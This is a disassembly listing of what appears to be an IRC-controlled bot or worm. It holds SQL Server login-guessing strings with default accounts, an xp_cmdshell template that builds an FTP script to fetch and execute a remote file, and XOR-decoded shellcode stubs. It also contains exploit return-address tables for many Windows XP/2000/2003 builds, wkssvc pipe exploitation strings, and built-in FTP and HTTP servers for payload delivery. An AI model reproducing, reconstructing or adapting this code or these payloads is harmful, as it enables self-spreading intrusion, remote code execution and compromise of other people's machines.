db 0BBh, 2, 20h
aTryingToRoot_0 db ' trying to root %s',0
align 4
unk_426B6C db 2 ; DATA XREF: sub_404969+22Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Dh, 73h, 71h
db 6Ch ; l
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAttemptingToRo db ' attempting to root (%s:%d) user: (%s/%s).',0
unk_426BB0 db 2 ; DATA XREF: sub_404969+1ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileTransferCo db ' File transfer complete to IP: %s',0
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404969+196o
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: sub_404969+162o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: sub_404969+C6o
align 10h
aAdmin db 'admin',0 ; DATA XREF: sub_404969+2Bo
; ___:0042EF04o
align 4
aRoot db 'root',0 ; DATA XREF: sub_404969+24o
; ___:0042EF0Co ...
align 10h
aSa db 'sa',0 ; DATA XREF: sub_404969+19o
align 4
dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
db 1Ah
; ---------------------------------------------------------------------------
loc_426CF5: ; CODE XREF: ___:00426CFCj
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_426CF5
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
; ---------------------------------------------------------------------------
dw 28CDh
dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h
dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh
dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h
dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h
dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h
dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h
dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h
dd 0D560h, 7A69h, 0
dword_426E40 dd 0D0EC8166h, 7dword_426E48 dd 129F74h, 0 dword_426E50 dd 127D78h, 0
; =============== S U B R O U T I N E =======================================
sub_426E58 proc near ; DATA XREF: sub_404D78+D5o
; FUNCTION CHUNK AT 00426E5E SIZE 00000047 BYTES
pusha
jmp short loc_426E5E
sub_426E58 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426E5B proc near ; CODE XREF: sub_426E58:loc_426E5Ep
pop ebx
push ebx
retn
sub_426E5B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426E58
loc_426E5E: ; CODE XREF: sub_426E58+1j
call sub_426E5B
xor eax, eax
add al, 34h
add eax, ebx
push eax
pop ebx
loc_426E6B: ; CODE XREF: sub_426E58+3Cj
xor edx, edx
add dl, [eax]
inc eax
add dh, [eax]
inc eax
push eax
xor eax, eax
add al, 41h
sub dl, al
sub dh, al
shl dl, 4
shr dx, 4
xor eax, eax
xor dh, dh
add al, [ebx]
sub [ebx], al
add [ebx], dx
inc ebx
pop eax
xor ecx, ecx
add cl, [eax]
loopne loc_426E6B
popa
loc_426E97: ; DATA XREF: sub_404D78+B4r
add [edi+edi*2+31430042h], dh
loc_426E9E: ; DATA XREF: sub_404D78+AEr
mov ebp, 7FC77h
loc_426EA3: ; DATA XREF: sub_404D78:loc_405043r
; sub_404D78+2F2r ...
add [ecx], al
; END OF FUNCTION CHUNK FOR sub_426E58
; ---------------------------------------------------------------------------
db 3 dup(0)
dd offset aWindowsXpSp01E ; "Windows XP SP0+1 ENG"
db 43h
; ---------------------------------------------------------------------------
loc_426EAD: ; CODE XREF: ___:00426EAFj
xor eax, eax
ja short loc_426EAD
pop es
; ---------------------------------------------------------------------------
dw 0
dd 1, 427F88h, 77BD1F89h, 7FCh, 1, 427F74h, 77BD1FA8h
dd 7FCh, 1, 427F60h, 77BD1FD6h, 7FCh, 1, 427F4Ch, 77BD2195h
dd 7FCh, 1, 427F38h, 77BD21B3h, 7FCh, 1, 427F24h, 77BD21E0h
dd 7FCh, 1, 427F10h, 77BD220Ch, 7FCh, 1, 427EFCh, 77BD2241h
dd 7FCh, 1, 427EE8h, 77BD22D2h, 7FCh, 1, 427ED4h, 77BD28B2h
dd 7FCh, 1, 427EC0h, 77BD29ABh, 7FCh, 1, 427EACh, 77BD29E7h
dd 7FCh, 1, 427E98h, 77BD29F7h, 7FCh, 1, 427E84h, 77BD2A03h
dd 7FCh, 1, 427E70h, 77BD2D6Dh, 7FCh, 1, 427E5Ch, 77BD2DB3h
dd 7FCh, 1, 427E48h, 77BD2EC2h, 7FCh, 1, 427E34h, 77BD2EDDh
dd 7FCh, 1, 427E20h, 77BD30AFh, 7FCh, 1, 427E0Ch, 77BD312Bh
dd 7FCh, 1, 427DF8h, 77BD3160h, 7FCh, 1, 427DE4h, 77BD349Ah
dd 7FCh, 1, 427DD0h, 77BD34E4h, 7FCh, 1, 427DB4h, 655B4F02h
dd 7E7h, 0
dd offset aWindowsUkXpPro ; "Windows uk xp pro sp1 1"
dd 77C01F89h, 7FCh, 1, 427D84h, 77C01FA8h, 7FCh, 1, 427D6Ch
dd 77C01FD6h, 7FCh, 1, 427D54h, 77C02195h, 7FCh, 1, 427D3Ch
dd 77C021B3h, 7FCh, 1, 427D24h, 77C021E0h, 7FCh, 1, 427D0Ch
dd 77C0220Ch, 7FCh, 1, 427CF4h, 77C02241h, 7FCh, 1, 427CDCh
dd 77C022D2h, 7FCh, 1, 427CC0h, 77C028B2h, 7FCh, 1, 427CA4h
dd 77C029ABh, 7FCh, 1, 427C88h, 77C029E7h, 7FCh, 1, 427C6Ch
dd 77C029F7h, 7FCh, 1, 427C50h, 77C02A03h, 7FCh, 1, 427C34h
dd 77C02A39h, 7FCh, 1, 427C18h, 77C02D6Dh, 7FCh, 1, 427BFCh
dd 77C02DB3h, 7FCh, 1, 427BE0h, 77C02EC2h, 7FCh, 1, 427BC4h
dd 77C02EDDh, 7FCh, 1, 427BA8h, 77C030AFh, 7FCh, 1, 427B8Ch
dd 77C0312Bh, 7FCh, 1, 427B70h, 77C03143h, 7FCh, 1, 427B54h
dd 77C03160h, 7FCh, 1, 427B38h, 77C0349Ah, 7FCh, 1, 427B1Ch
dd 77C034E4h, 7FCh, 1, 427B04h, 77B920FDh, 7FCh, 1, 427AECh
dd 77B9211Ch, 7FCh, 1, 427AD4h, 77B9214Ah, 7FCh, 1, 427ABCh
dd 77B9230Ch, 7FCh, 1, 427AA4h, 77B9232Ah, 7FCh, 1, 427A8Ch
dd 77B92357h, 7FCh, 1, 427A74h, 77B92383h, 7FCh, 1, 427A5Ch
dd 77B923B8h, 7FCh, 1, 427A44h, 77B92448h, 7FCh, 1, 427A28h
dd 77B92AAAh, 7FCh, 1, 427A0Ch, 77B92BA7h, 7FCh, 1, 4279F0h
dd 77B92BE3h, 7FCh, 1, 4279D4h, 77B92BF3h, 7FCh, 1, 4279B8h
dd 77B92BFFh, 7FCh, 1, 42799Ch, 77B92F78h, 7FCh, 1, 427980h
dd 77B92FBEh, 7FCh, 1, 427964h, 77B930EFh, 7FCh, 1, 427948h
dd 77B9310Dh, 7FCh, 1, 42792Ch, 77B9330Ch, 7FCh, 1, 427910h
dd 77B93388h, 7FCh, 1, 4278F4h, 77B9339Eh, 7FCh, 1, 4278D8h
dd 77B933BAh, 7FCh, 1, 4278BCh, 77B9373Dh, 7FCh, 1, 4278A0h
dd 77B9378Ah, 7FCh, 1, 427888h, 77B920FDh, 7FCh, 1, 427870h
dd 77B9211Ch, 7FCh, 1, 427858h, 77B9214Ah, 7FCh, 1, 427840h
dd 77B9230Ch, 7FCh, 1, 427828h, 77B9232Ah, 7FCh, 1, 427810h
dd 77B92357h, 7FCh, 1, 4277F8h, 77B92383h, 7FCh, 1, 4277E0h
dd 77B923B8h, 7FCh, 1, 4277C8h, 77B92448h, 7FCh, 1, 4277ACh
dd 77B92AAAh, 7FCh, 1, 427790h, 77B92BA7h, 7FCh, 1, 427774h
dd 77B92BE3h, 7FCh, 1, 427758h, 77B92BF3h, 7FCh, 1, 42773Ch
dd 77B92BFFh, 7FCh, 1, 427720h, 77B92F78h, 7FCh, 1, 427704h
dd 77B92FBEh, 7FCh, 1, 4276E8h, 77B930EFh, 7FCh, 1, 4276CCh
dd 77B9310Dh, 7FCh, 1, 4276B0h, 77B9330Ch, 7FCh, 1, 427694h
dd 77B93388h, 7FCh, 1, 427678h, 77B9339Eh, 7FCh, 1, 42765Ch
dd 77B933BAh, 7FCh, 1, 427640h, 77B9373Dh, 7FCh, 1, 427624h
dd 77B9378Ah, 7FCh, 1, 427618h, 41414141h, 7FCh, 1, 427600h
dd 77E14C29h, 7FCh, 1, 4275E8h, 77E3CB4Ch, 7FCh, 1, 4275D0h
dd 77E42C75h, 7FCh, 1, 4275B8h, 77E3C256h, 7FCh, 1, 4275A0h
dd 77E2AFC5h, 7FCh, 1, 427588h, 77E2492Bh, 7FCh, 1, 427570h
dd 77E4FF15h, 7FCh, 1, 427558h, 77E33F4Dh, 7FCh, 1, 326E6957h
dd 5053204Bh, 72462030h, 50206D6Fh, 54546168h, 312079h
dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
dd 322079h, 326E6957h, 5053204Bh, 72462032h, 50206D6Fh
dd 54546168h, 312079h, 326E6957h, 5053204Bh, 72462033h
dd 50206D6Fh, 54546168h, 312079h, 326E6957h, 5053204Bh
dd 72462034h, 50206D6Fh, 54546168h, 332079h, 326E6957h
dd 5053204Bh, 72462034h, 50206D6Fh, 54546168h, 322079h
dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
dd 312079h, 326E6957h, 5053204Bh, 72462034h, 50206D6Fh
dd 54546168h, 312079h, 20536F44h, 41205058h, 4C4Ch, 646E6957h
dd 2073776Fh, 32206B75h, 6520336Bh, 70732065h, 34322030h
dd 0
aWindowsUk2k3Ee db 'Windows uk 2k3 ee sp0 23',0
align 4
aWindowsUk2k3_0 db 'Windows uk 2k3 ee sp0 22',0
align 4
aWindowsUk2k3_1 db 'Windows uk 2k3 ee sp0 21',0
align 4
aWindowsUk2k3_2 db 'Windows uk 2k3 ee sp0 20',0
align 10h
aWindowsUk2k3_3 db 'Windows uk 2k3 ee sp0 19',0
align 4
aWindowsUk2k3_4 db 'Windows uk 2k3 ee sp0 18',0
align 4
aWindowsUk2k3_5 db 'Windows uk 2k3 ee sp0 17',0
align 4
aWindowsUk2k3_6 db 'Windows uk 2k3 ee sp0 16',0
align 10h
aWindowsUk2k3_7 db 'Windows uk 2k3 ee sp0 15',0
align 4
aWindowsUk2k3_8 db 'Windows uk 2k3 ee sp0 14',0
align 4
aWindowsUk2k3_9 db 'Windows uk 2k3 ee sp0 13',0
align 4
aWindowsUk2k_10 db 'Windows uk 2k3 ee sp0 12',0
align 10h
aWindowsUk2k_11 db 'Windows uk 2k3 ee sp0 11',0
align 4
aWindowsUk2k_12 db 'Windows uk 2k3 ee sp0 10',0
align 4
aWindowsUk2k_13 db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_14 db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_15 db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_16 db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_17 db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_18 db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_19 db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_20 db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_21 db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se db 'Windows uk 2k3 se sp0 24',0
align 4
aWindowsUk2k_22 db 'Windows uk 2k3 se sp0 23',0
align 4
aWindowsUk2k_23 db 'Windows uk 2k3 se sp0 22',0
align 4
aWindowsUk2k_24 db 'Windows uk 2k3 se sp0 21',0
align 10h
aWindowsUk2k_25 db 'Windows uk 2k3 se sp0 20',0
align 4
aWindowsUk2k_26 db 'Windows uk 2k3 se sp0 19',0
align 4
aWindowsUk2k_27 db 'Windows uk 2k3 se sp0 18',0
align 4
aWindowsUk2k_28 db 'Windows uk 2k3 se sp0 17',0
align 10h
aWindowsUk2k_29 db 'Windows uk 2k3 se sp0 16',0
align 4
aWindowsUk2k_30 db 'Windows uk 2k3 se sp0 15',0
align 4
aWindowsUk2k_31 db 'Windows uk 2k3 se sp0 14',0
align 4
aWindowsUk2k_32 db 'Windows uk 2k3 se sp0 13',0
align 10h
aWindowsUk2k_33 db 'Windows uk 2k3 se sp0 12',0
align 4
aWindowsUk2k_34 db 'Windows uk 2k3 se sp0 11',0
align 4
aWindowsUk2k_35 db 'Windows uk 2k3 se sp0 10',0
align 4
aWindowsUk2k_36 db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_37 db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_38 db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_39 db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_40 db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_41 db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_42 db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_43 db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_44 db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpP_0 db 'Windows uk xp pro sp1 25',0
align 4
aWindowsUkXpP_1 db 'Windows uk xp pro sp1 24',0
align 4
aWindowsUkXpP_2 db 'Windows uk xp pro sp1 23',0
align 10h
aWindowsUkXpP_3 db 'Windows uk xp pro sp1 22',0
align 4
aWindowsUkXpP_4 db 'Windows uk xp pro sp1 21',0
align 4
aWindowsUkXpP_5 db 'Windows uk xp pro sp1 20',0
align 4
aWindowsUkXpP_6 db 'Windows uk xp pro sp1 19',0
align 10h
aWindowsUkXpP_7 db 'Windows uk xp pro sp1 18',0
align 4
aWindowsUkXpP_8 db 'Windows uk xp pro sp1 17',0
align 4
aWindowsUkXpP_9 db 'Windows uk xp pro sp1 16',0
align 4
aWindowsUkXp_10 db 'Windows uk xp pro sp1 15',0
align 10h
aWindowsUkXp_11 db 'Windows uk xp pro sp1 14',0
align 4
aWindowsUkXp_12 db 'Windows uk xp pro sp1 13',0
align 4
aWindowsUkXp_13 db 'Windows uk xp pro sp1 12',0
align 4
aWindowsUkXp_14 db 'Windows uk xp pro sp1 11',0
align 10h
aWindowsUkXp_15 db 'Windows uk xp pro sp1 10',0
align 4
aWindowsUkXp_16 db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_17 db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_18 db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_19 db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_20 db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_21 db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_22 db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_23 db 'Windows uk xp pro sp1 2',0
aWindowsUkXpPro db 'Windows uk xp pro sp1 1',0 ; DATA XREF: ___:00427038o
aWindows2000Sp4 db 'Windows 2000 SP4 GER FAT32',0
align 10h
aWindowsNlSp123 db 'Windows nl sp1 23',0
align 4
aWindowsNlSp122 db 'Windows nl sp1 22',0
align 4
aWindowsNlSp121 db 'Windows nl sp1 21',0
align 4
aWindowsNlSp120 db 'Windows nl sp1 20',0
align 10h
aWindowsNlSp119 db 'Windows nl sp1 19',0
align 4
aWindowsNlSp118 db 'Windows nl sp1 18',0
align 4
aWindowsNlSp117 db 'Windows nl sp1 17',0
align 4
aWindowsNlSp116 db 'Windows nl sp1 16',0
align 10h
aWindowsNlSp115 db 'Windows nl sp1 15',0
align 4
aWindowsNlSp114 db 'Windows nl sp1 14',0
align 4
aWindowsNlSp113 db 'Windows nl sp1 13',0
align 4
aWindowsNlSp112 db 'Windows nl sp1 12',0
align 10h
aWindowsNlSp111 db 'Windows nl sp1 11',0
align 4
aWindowsNlSp110 db 'Windows nl sp1 10',0
align 4
aWindowsNlSp19 db 'Windows nl sp1 9',0
align 4
aWindowsNlSp18 db 'Windows nl sp1 8',0
align 10h
aWindowsNlSp17 db 'Windows nl sp1 7',0
align 4
aWindowsNlSp16 db 'Windows nl sp1 6',0
align 4
aWindowsNlSp15 db 'Windows nl sp1 5',0
align 4
aWindowsNlSp14 db 'Windows nl sp1 4',0
align 10h
aWindowsNlSp13 db 'Windows nl sp1 3',0
align 4
aWindowsNlSp12 db 'Windows nl sp1 2',0
align 4
aWindowsNlSp11 db 'Windows nl sp1 1',0
align 4
aWindowsXpSp01E db 'Windows XP SP0+1 ENG',0 ; DATA XREF: ___:00426EA8o
align 4
aWindowsXpSp01G db 'Windows XP SP0+1 GER+NL+IT+FR',0
align 4
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_404D78+4E8o
align 10h
dword_427FF0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_428004 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0
; DATA XREF: sub_404D78+243o
aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_404D78+1E4o
align 4
a_: ; DATA XREF: sub_404D78+184o
; sub_4062F7+24Do ...
unicode 0, <.>,0
aS_1 db '\\%s',0 ; DATA XREF: sub_404D78+153o
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405350+5CDo
aQuit db 'QUIT',0 ; DATA XREF: sub_405350+5B9o
; sub_40F6F1+537o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_405350+5ACo
align 10h
unk_428080 db 2 ; DATA XREF: sub_405350+561o
db 52h, 2 dup(4Fh)
db 54h ; T
db 45h, 44h, 2
aSPortDNowExecu db ' »» %s, port:%d now executing %s on remote machine.',0
align 10h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405350+542o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_405350+516o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_405350+4FEo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405350+4E9o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405350+4D8o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405350+4A5o
align 10h
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405350+464o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_405350+42Bo
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405350+3FDo
align 4
aList db 'LIST',0 ; DATA XREF: sub_405350+3EAo
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_405350+3AFo
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_405350+39Co
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405350+38Co
aI: ; DATA XREF: sub_405350+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405350+351o
aA: ; DATA XREF: sub_405350+33Do
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_405350+326o
; sub_405350+361o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405350+316o
align 4
off_42821C dd offset dword_445750 ; DATA XREF: sub_405350+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405350+2F2o
align 4
aRest db 'REST',0 ; DATA XREF: sub_405350+2DEo
align 4
a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_405350+2CEo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_405350+2BAo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405350+2AAo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_405350+296o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405350+286o
align 4
aUser_1 db 'USER',0 ; DATA XREF: sub_405350+271o
; ___:0042EFA8o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: sub_405350+260o
align 4
a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405350+1D8o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4059D0+24o
; sub_406B85+12Eo ...
align 4
unk_4282B8 db 2 ; DATA XREF: sub_405A6A+3F8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_4282FC db 0Dh,0Ah,0 ; DATA XREF: sub_405A6A+2CFo
align 10h
asc_428300: ; DATA XREF: sub_405A6A+293o
; sub_40F6F1+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405A6A+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405EC5+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405EC5+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405EC5+97o
; sub_40BDAD+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405EC5+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405EC5:loc_405F2Ao
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405EC5+5Eo
align 10h
unk_428520 db 2 ; DATA XREF: sub_406047+28Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_428568 db 2 ; DATA XREF: sub_406047+20Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_4285A8: ; DATA XREF: sub_406047+157o
unicode 0, <*>,0
asc_4285AC: ; DATA XREF: sub_406047+FBo
; sub_4062F7+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_406047+EAo
; sub_4062F7+4CAo ...
align 4
aS_2 db '\%s',0 ; DATA XREF: sub_406047+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_4062F7+64Eo
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_4062F7+618o
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+589o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40680Fo
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+511o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+471o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+434o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4062F7+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066B9o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3BBo
align 10h
aSS db '%s%s/',0 ; DATA XREF: sub_4062F7+374o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+330o
; sub_4062F7+486o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4062F7+30Eo
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_4062F7+2E4o
; sub_4062F7+413o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2BAo
aAm db 'AM',0 ; DATA XREF: sub_4062F7+290o
align 10h
aPm db 'PM',0 ; DATA XREF: sub_4062F7+285o
align 4
a__ db '..',0 ; DATA XREF: sub_4062F7+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4062F7+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
